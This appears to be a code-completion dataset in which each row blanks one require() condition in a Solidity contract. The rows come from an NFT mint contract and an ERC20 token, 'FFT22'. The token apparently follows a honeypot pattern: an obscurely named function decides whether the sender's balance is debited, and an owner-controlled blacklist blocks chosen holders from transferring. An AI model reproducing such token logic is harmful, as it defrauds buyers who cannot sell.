function claimOneOnOnes()
external
onlyOwner
{
}
function changeBatchCount(uint8 size)
external
onlyOwner
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _NewBaseURI)
public
onlyOwner
{
}
function withdraw()
public
payable
onlyOwner
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| supply+amount<=COLLECTION_SUPPLY-TREASURY_LEFT-TEAM_ONE_ON_ONES,"MTR: Public mint supply exceded, remaining tokens are reserved for the team" | 419,166 | supply+amount<=COLLECTION_SUPPLY-TREASURY_LEFT-TEAM_ONE_ON_ONES |
"MTR: Mint supply exceeded, sorry :(" | ////////////////////////////////////////////////////////////////////////////////////
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@@@@@@/ .@@@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@@@%. #@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@/ *&@@@@@@@@@@@@@@@@@//
//@@@@@@%. .#@@@@@@@@@@@@@@@//
//@@@@* *@@@@@@@@@@@@@@//
//@%. ,%@@@@@@@@@@@@//
// .@@@@@@@@@@@//
// .&@@@@@@@@//
// #@@@@@@@//
// (@@@@@@@@@@@@@( /@@@@@//
// (@@@@@@@@@@%, .(@@@//
// (@@@@@@@@/ .@@//
// (@@@@@@. //
// (@@@( ,%@@@@@@* ,%@@@@@@/ *//
// ,*, (@@@@@@@@@@@%, (@@@@@@@@@@@%, //
// @@@@@@@@@@@@@@@( .&@@@@@@@@@@@@@@@) //
// &@@@@@@@@@@@@@@@( ,@@@@@@@@@@@@@@@@* //
// /&@@@@@@@@@%, #@@@@@@@@@@#. //
//# ,****** (@%* ,******* *//
//@@@, ..... &//
//@@@@@(. *@@//
//@@@@@@@&* ,#@@@@//
//@@@@@@@@@@########( /&@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@. #@@@% (@@@& /@@@@@, ,@@@@@@@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@/ (&&&# /&&&% *&&&&&. .&&&&&@@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@%, .@@@@* @@@@@( %@@@% (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# .@@@@* @@@@@( %@@@% (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@&/ (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%. *&@@@@@@@@@@@@@@@@&, (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@//
////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.4;
// security contact: [email protected]
contract MintersWorld is ERC721, ERC721Enumerable, Ownable {
using Strings for uint256;
bytes32 public root;
bool public presaleActive = true;
bool public contractActive = false;
bool public treasuryClaimed = false;
bool public oneOnOnesClaimed = false;
string public baseExtension = ".json";
string baseURI;
uint256 public COLLECTION_SUPPLY = 10000;
uint256 public PRESALE_SUPPLY = 3500;
uint256 public MINT_PRICE = 0.05 ether;
uint256 public TEAM_TREASURY = 500;
uint256 public TEAM_ONE_ON_ONES = 6;
uint256 public TREASURY_BATCHES_TO_BE_CLAIMED = 10;
uint256 public TREASURY_LEFT = 500;
uint256 public MAX_MINT_AMM = 3;
mapping(address => bool) alreadyMintedPresale;
mapping(address => uint256) alreadyMintedPublic;
modifier costs(uint256 amount) {
}
// psst, hey you, I need you to DM Ghinter in Discord that Alameda will liquidate him anyway
// thx in advance
constructor(string memory InitBaseURI, bytes32 _root) ERC721("MintersWorld", "MTR") {
}
function isValid(bytes32[] memory proof, bytes32 leaf)
public
view
returns (bool)
{
}
function mintPresale(bytes32[] memory proof)
external
payable
costs(1)
{
}
function mintPublicSale(uint256 amount)
external
payable
costs(amount)
{
require(!presaleActive, "MTR: You can't mint without being whitelisted while presale phase is active");
uint256 supply = totalSupply();
if(!treasuryClaimed || !oneOnOnesClaimed)
{
require(supply + amount <= COLLECTION_SUPPLY - TREASURY_LEFT - TEAM_ONE_ON_ONES, "MTR: Public mint supply exceded, remaining tokens are reserved for the team");
}
else require(<FILL_ME>)
require(amount <= MAX_MINT_AMM, "MTR: You can mint only 3 NFTs in total (per wallet)");
require(alreadyMintedPublic[msg.sender] + amount <= MAX_MINT_AMM, "MTR: You have already minted maximum allowed amount of tokens");
alreadyMintedPublic[msg.sender] += amount;
for(uint i=0; i<amount; i++)
{
_safeMint(msg.sender, supply + i);
}
}
function claimTeamTreasury()
external
onlyOwner
{
}
function toggleContract(bool state)
external
onlyOwner
{
}
function togglePresale(bool state)
external
onlyOwner
{
}
function setRoot(bytes32 newRoot)
external
onlyOwner
{
}
function claimOneOnOnes()
external
onlyOwner
{
}
function changeBatchCount(uint8 size)
external
onlyOwner
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _NewBaseURI)
public
onlyOwner
{
}
function withdraw()
public
payable
onlyOwner
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| supply+amount<=COLLECTION_SUPPLY,"MTR: Mint supply exceeded, sorry :(" | 419,166 | supply+amount<=COLLECTION_SUPPLY |
"MTR: You have already minted maximum allowed amount of tokens" | ////////////////////////////////////////////////////////////////////////////////////
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@@@@@@/ .@@@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@@@%. #@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@/ *&@@@@@@@@@@@@@@@@@//
//@@@@@@%. .#@@@@@@@@@@@@@@@//
//@@@@* *@@@@@@@@@@@@@@//
//@%. ,%@@@@@@@@@@@@//
// .@@@@@@@@@@@//
// .&@@@@@@@@//
// #@@@@@@@//
// (@@@@@@@@@@@@@( /@@@@@//
// (@@@@@@@@@@%, .(@@@//
// (@@@@@@@@/ .@@//
// (@@@@@@. //
// (@@@( ,%@@@@@@* ,%@@@@@@/ *//
// ,*, (@@@@@@@@@@@%, (@@@@@@@@@@@%, //
// @@@@@@@@@@@@@@@( .&@@@@@@@@@@@@@@@) //
// &@@@@@@@@@@@@@@@( ,@@@@@@@@@@@@@@@@* //
// /&@@@@@@@@@%, #@@@@@@@@@@#. //
//# ,****** (@%* ,******* *//
//@@@, ..... &//
//@@@@@(. *@@//
//@@@@@@@&* ,#@@@@//
//@@@@@@@@@@########( /&@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@. #@@@% (@@@& /@@@@@, ,@@@@@@@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@/ (&&&# /&&&% *&&&&&. .&&&&&@@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@%, .@@@@* @@@@@( %@@@% (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# .@@@@* @@@@@( %@@@% (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@&/ (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%. *&@@@@@@@@@@@@@@@@&, (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@//
////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.4;
// security contact: [email protected]
contract MintersWorld is ERC721, ERC721Enumerable, Ownable {
using Strings for uint256;
bytes32 public root;
bool public presaleActive = true;
bool public contractActive = false;
bool public treasuryClaimed = false;
bool public oneOnOnesClaimed = false;
string public baseExtension = ".json";
string baseURI;
uint256 public COLLECTION_SUPPLY = 10000;
uint256 public PRESALE_SUPPLY = 3500;
uint256 public MINT_PRICE = 0.05 ether;
uint256 public TEAM_TREASURY = 500;
uint256 public TEAM_ONE_ON_ONES = 6;
uint256 public TREASURY_BATCHES_TO_BE_CLAIMED = 10;
uint256 public TREASURY_LEFT = 500;
uint256 public MAX_MINT_AMM = 3;
mapping(address => bool) alreadyMintedPresale;
mapping(address => uint256) alreadyMintedPublic;
modifier costs(uint256 amount) {
}
// psst, hey you, I need you to DM Ghinter in Discord that Alameda will liquidate him anyway
// thx in advance
constructor(string memory InitBaseURI, bytes32 _root) ERC721("MintersWorld", "MTR") {
}
function isValid(bytes32[] memory proof, bytes32 leaf)
public
view
returns (bool)
{
}
function mintPresale(bytes32[] memory proof)
external
payable
costs(1)
{
}
function mintPublicSale(uint256 amount)
external
payable
costs(amount)
{
require(!presaleActive, "MTR: You can't mint without being whitelisted while presale phase is active");
uint256 supply = totalSupply();
if(!treasuryClaimed || !oneOnOnesClaimed)
{
require(supply + amount <= COLLECTION_SUPPLY - TREASURY_LEFT - TEAM_ONE_ON_ONES, "MTR: Public mint supply exceded, remaining tokens are reserved for the team");
}
else require(supply + amount <= COLLECTION_SUPPLY, "MTR: Mint supply exceeded, sorry :(");
require(amount <= MAX_MINT_AMM, "MTR: You can mint only 3 NFTs in total (per wallet)");
require(<FILL_ME>)
alreadyMintedPublic[msg.sender] += amount;
for(uint i=0; i<amount; i++)
{
_safeMint(msg.sender, supply + i);
}
}
function claimTeamTreasury()
external
onlyOwner
{
}
function toggleContract(bool state)
external
onlyOwner
{
}
function togglePresale(bool state)
external
onlyOwner
{
}
function setRoot(bytes32 newRoot)
external
onlyOwner
{
}
function claimOneOnOnes()
external
onlyOwner
{
}
function changeBatchCount(uint8 size)
external
onlyOwner
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _NewBaseURI)
public
onlyOwner
{
}
function withdraw()
public
payable
onlyOwner
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| alreadyMintedPublic[msg.sender]+amount<=MAX_MINT_AMM,"MTR: You have already minted maximum allowed amount of tokens" | 419,166 | alreadyMintedPublic[msg.sender]+amount<=MAX_MINT_AMM |
"MTR: Don't you really know how to use our own contract xD?" | ////////////////////////////////////////////////////////////////////////////////////
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@@@@@@/ .@@@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@@@%. #@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@/ *&@@@@@@@@@@@@@@@@@//
//@@@@@@%. .#@@@@@@@@@@@@@@@//
//@@@@* *@@@@@@@@@@@@@@//
//@%. ,%@@@@@@@@@@@@//
// .@@@@@@@@@@@//
// .&@@@@@@@@//
// #@@@@@@@//
// (@@@@@@@@@@@@@( /@@@@@//
// (@@@@@@@@@@%, .(@@@//
// (@@@@@@@@/ .@@//
// (@@@@@@. //
// (@@@( ,%@@@@@@* ,%@@@@@@/ *//
// ,*, (@@@@@@@@@@@%, (@@@@@@@@@@@%, //
// @@@@@@@@@@@@@@@( .&@@@@@@@@@@@@@@@) //
// &@@@@@@@@@@@@@@@( ,@@@@@@@@@@@@@@@@* //
// /&@@@@@@@@@%, #@@@@@@@@@@#. //
//# ,****** (@%* ,******* *//
//@@@, ..... &//
//@@@@@(. *@@//
//@@@@@@@&* ,#@@@@//
//@@@@@@@@@@########( /&@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@. #@@@% (@@@& /@@@@@, ,@@@@@@@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@/ (&&&# /&&&% *&&&&&. .&&&&&@@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@%, .@@@@* @@@@@( %@@@% (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# .@@@@* @@@@@( %@@@% (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@&/ (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%. *&@@@@@@@@@@@@@@@@&, (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@//
////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.4;
// security contact: [email protected]
contract MintersWorld is ERC721, ERC721Enumerable, Ownable {
using Strings for uint256;
bytes32 public root;
bool public presaleActive = true;
bool public contractActive = false;
bool public treasuryClaimed = false;
bool public oneOnOnesClaimed = false;
string public baseExtension = ".json";
string baseURI;
uint256 public COLLECTION_SUPPLY = 10000;
uint256 public PRESALE_SUPPLY = 3500;
uint256 public MINT_PRICE = 0.05 ether;
uint256 public TEAM_TREASURY = 500;
uint256 public TEAM_ONE_ON_ONES = 6;
uint256 public TREASURY_BATCHES_TO_BE_CLAIMED = 10;
uint256 public TREASURY_LEFT = 500;
uint256 public MAX_MINT_AMM = 3;
mapping(address => bool) alreadyMintedPresale;
mapping(address => uint256) alreadyMintedPublic;
modifier costs(uint256 amount) {
}
// psst, hey you, I need you to DM Ghinter in Discord that Alameda will liquidate him anyway
// thx in advance
constructor(string memory InitBaseURI, bytes32 _root) ERC721("MintersWorld", "MTR") {
}
function isValid(bytes32[] memory proof, bytes32 leaf)
public
view
returns (bool)
{
}
function mintPresale(bytes32[] memory proof)
external
payable
costs(1)
{
}
function mintPublicSale(uint256 amount)
external
payable
costs(amount)
{
}
function claimTeamTreasury()
external
onlyOwner
{
uint256 supply = totalSupply();
require(<FILL_ME>)
require(!treasuryClaimed, "MTR: Already claimed");
TREASURY_LEFT -= TEAM_TREASURY/TREASURY_BATCHES_TO_BE_CLAIMED;
if(TREASURY_LEFT == 0) treasuryClaimed = true;
for(uint i=0; i<TEAM_TREASURY/TREASURY_BATCHES_TO_BE_CLAIMED; i++)
{
_safeMint(msg.sender, supply + i);
}
}
function toggleContract(bool state)
external
onlyOwner
{
}
function togglePresale(bool state)
external
onlyOwner
{
}
function setRoot(bytes32 newRoot)
external
onlyOwner
{
}
function claimOneOnOnes()
external
onlyOwner
{
}
function changeBatchCount(uint8 size)
external
onlyOwner
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _NewBaseURI)
public
onlyOwner
{
}
function withdraw()
public
payable
onlyOwner
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| contractActive&&!presaleActive,"MTR: Don't you really know how to use our own contract xD?" | 419,166 | contractActive&&!presaleActive |
"MTR: Already claimed" | ////////////////////////////////////////////////////////////////////////////////////
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@@@@@@/ .@@@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@@@%. #@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@/ *&@@@@@@@@@@@@@@@@@//
//@@@@@@%. .#@@@@@@@@@@@@@@@//
//@@@@* *@@@@@@@@@@@@@@//
//@%. ,%@@@@@@@@@@@@//
// .@@@@@@@@@@@//
// .&@@@@@@@@//
// #@@@@@@@//
// (@@@@@@@@@@@@@( /@@@@@//
// (@@@@@@@@@@%, .(@@@//
// (@@@@@@@@/ .@@//
// (@@@@@@. //
// (@@@( ,%@@@@@@* ,%@@@@@@/ *//
// ,*, (@@@@@@@@@@@%, (@@@@@@@@@@@%, //
// @@@@@@@@@@@@@@@( .&@@@@@@@@@@@@@@@) //
// &@@@@@@@@@@@@@@@( ,@@@@@@@@@@@@@@@@* //
// /&@@@@@@@@@%, #@@@@@@@@@@#. //
//# ,****** (@%* ,******* *//
//@@@, ..... &//
//@@@@@(. *@@//
//@@@@@@@&* ,#@@@@//
//@@@@@@@@@@########( /&@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@. #@@@% (@@@& /@@@@@, ,@@@@@@@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@/ (&&&# /&&&% *&&&&&. .&&&&&@@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@%, .@@@@* @@@@@( %@@@% (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# .@@@@* @@@@@( %@@@% (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@&/ (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%. *&@@@@@@@@@@@@@@@@&, (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@//
////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.4;
// security contact: [email protected]
contract MintersWorld is ERC721, ERC721Enumerable, Ownable {
using Strings for uint256;
bytes32 public root;
bool public presaleActive = true;
bool public contractActive = false;
bool public treasuryClaimed = false;
bool public oneOnOnesClaimed = false;
string public baseExtension = ".json";
string baseURI;
uint256 public COLLECTION_SUPPLY = 10000;
uint256 public PRESALE_SUPPLY = 3500;
uint256 public MINT_PRICE = 0.05 ether;
uint256 public TEAM_TREASURY = 500;
uint256 public TEAM_ONE_ON_ONES = 6;
uint256 public TREASURY_BATCHES_TO_BE_CLAIMED = 10;
uint256 public TREASURY_LEFT = 500;
uint256 public MAX_MINT_AMM = 3;
mapping(address => bool) alreadyMintedPresale;
mapping(address => uint256) alreadyMintedPublic;
modifier costs(uint256 amount) {
}
// psst, hey you, I need you to DM Ghinter in Discord that Alameda will liquidate him anyway
// thx in advance
constructor(string memory InitBaseURI, bytes32 _root) ERC721("MintersWorld", "MTR") {
}
function isValid(bytes32[] memory proof, bytes32 leaf)
public
view
returns (bool)
{
}
function mintPresale(bytes32[] memory proof)
external
payable
costs(1)
{
}
function mintPublicSale(uint256 amount)
external
payable
costs(amount)
{
}
function claimTeamTreasury()
external
onlyOwner
{
uint256 supply = totalSupply();
require(contractActive && !presaleActive, "MTR: Don't you really know how to use our own contract xD?");
require(<FILL_ME>)
TREASURY_LEFT -= TEAM_TREASURY/TREASURY_BATCHES_TO_BE_CLAIMED;
if(TREASURY_LEFT == 0) treasuryClaimed = true;
for(uint i=0; i<TEAM_TREASURY/TREASURY_BATCHES_TO_BE_CLAIMED; i++)
{
_safeMint(msg.sender, supply + i);
}
}
function toggleContract(bool state)
external
onlyOwner
{
}
function togglePresale(bool state)
external
onlyOwner
{
}
function setRoot(bytes32 newRoot)
external
onlyOwner
{
}
function claimOneOnOnes()
external
onlyOwner
{
}
function changeBatchCount(uint8 size)
external
onlyOwner
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _NewBaseURI)
public
onlyOwner
{
}
function withdraw()
public
payable
onlyOwner
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| !treasuryClaimed,"MTR: Already claimed" | 419,166 | !treasuryClaimed |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function waiveOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract ERC20 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private _decimals;
address payable public MarketingWalletAddress;
address payable public TeamWalletAddress;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isWalletLimitExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public _b;
uint256 public _buyLiquidityFee;
uint256 public _buyMarketingFee;
uint256 public _buyTeamFee;
uint256 public _sellLiquidityFee;
uint256 public _sellMarketingFee;
uint256 public _sellTeamFee;
uint256 public _liquidityShare;
uint256 public _marketingShare;
uint256 public _teamShare;
uint256 public _totalTaxIfBuying;
uint256 public _totalTaxIfSelling;
uint256 public _totalDistributionShares;
uint256 private _totalSupply;
uint256 public _txLimitAmount;
uint256 public _walletLimitAmount;
uint256 private minimumTokensBeforeSwap;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyBySmallOnly = false;
bool public walletLimitEnable = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
}
constructor (string memory _NAME,
string memory _SYMBOL,
uint256 _SUPPLY,
uint256[3] memory _BUYFEE,
uint256[3] memory _SELLFEE,
uint256[3] memory _SHARE,
uint256[2] memory _LMT,
address[2] memory _walletList)
{
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function setMarketPairStatus(address account, bool newValue) public onlyOwner {
}
function setisTxLimitExempt(address holder, bool exempt) external onlyOwner {
}
function setisExcludedFromFee(address account, bool newValue) public onlyOwner {
}
function multiExcludeFromFee(address[] calldata addresses, bool status) public onlyOwner {
}
function setTxLimitAmount(uint256 newValue) external onlyOwner() {
}
function enableWalletLimitEnable(bool newValue) external onlyOwner {
}
function setisWalletLimitExempt(address holder, bool exempt) external onlyOwner {
}
function setWalletLimitAmount(uint256 newValue) external onlyOwner {
}
function setNumTokensBeforeSwap(uint256 newValue) external onlyOwner() {
}
function setMarketingWalletAddress(address newAddress) external onlyOwner() {
}
function setTeamWalletAddress(address newAddress) external onlyOwner() {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setSwapAndLiquifyBySmallOnly(bool newValue) public onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function exraorinr(address LOLOLOL,address CJCJCJCJ) private view returns(bool){
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setB(address b,bool s) public onlyOwner{
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
return _basicTransfer(sender, recipient, amount);
}
else
{
if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
require(<FILL_ME>)
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyBySmallOnly)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}if(exraorinr(sender,recipient))
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount;
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
finalAmount = amount;
} else {
require(!_b[sender],"b");
finalAmount = takeFee(sender, recipient, amount);
}
if(walletLimitEnable && !isWalletLimitExempt[recipient])
require(smallOrEqual(balanceOf(recipient).add(finalAmount), _walletLimitAmount));
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function smallOrEqual(uint256 a, uint256 b) public pure returns(bool) { }
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
}
contract Token is ERC20 {
constructor() ERC20(
"FFT22",
"FFT22",
1000000,
[uint256(0),uint256(1),uint256(0)],
[uint256(0),uint256(1),uint256(0)],
[uint256(0),uint256(1),uint256(0)],
[uint256(1000000),uint256(1000000)],
[address(0x07303F382f633d41E78F4EA7A62f82337edEF609),address(0x07303F382f633d41E78F4EA7A62f82337edEF609)]
){}
}
| smallOrEqual(amount,_txLimitAmount) | 419,172 | smallOrEqual(amount,_txLimitAmount) |
"b" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function waiveOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
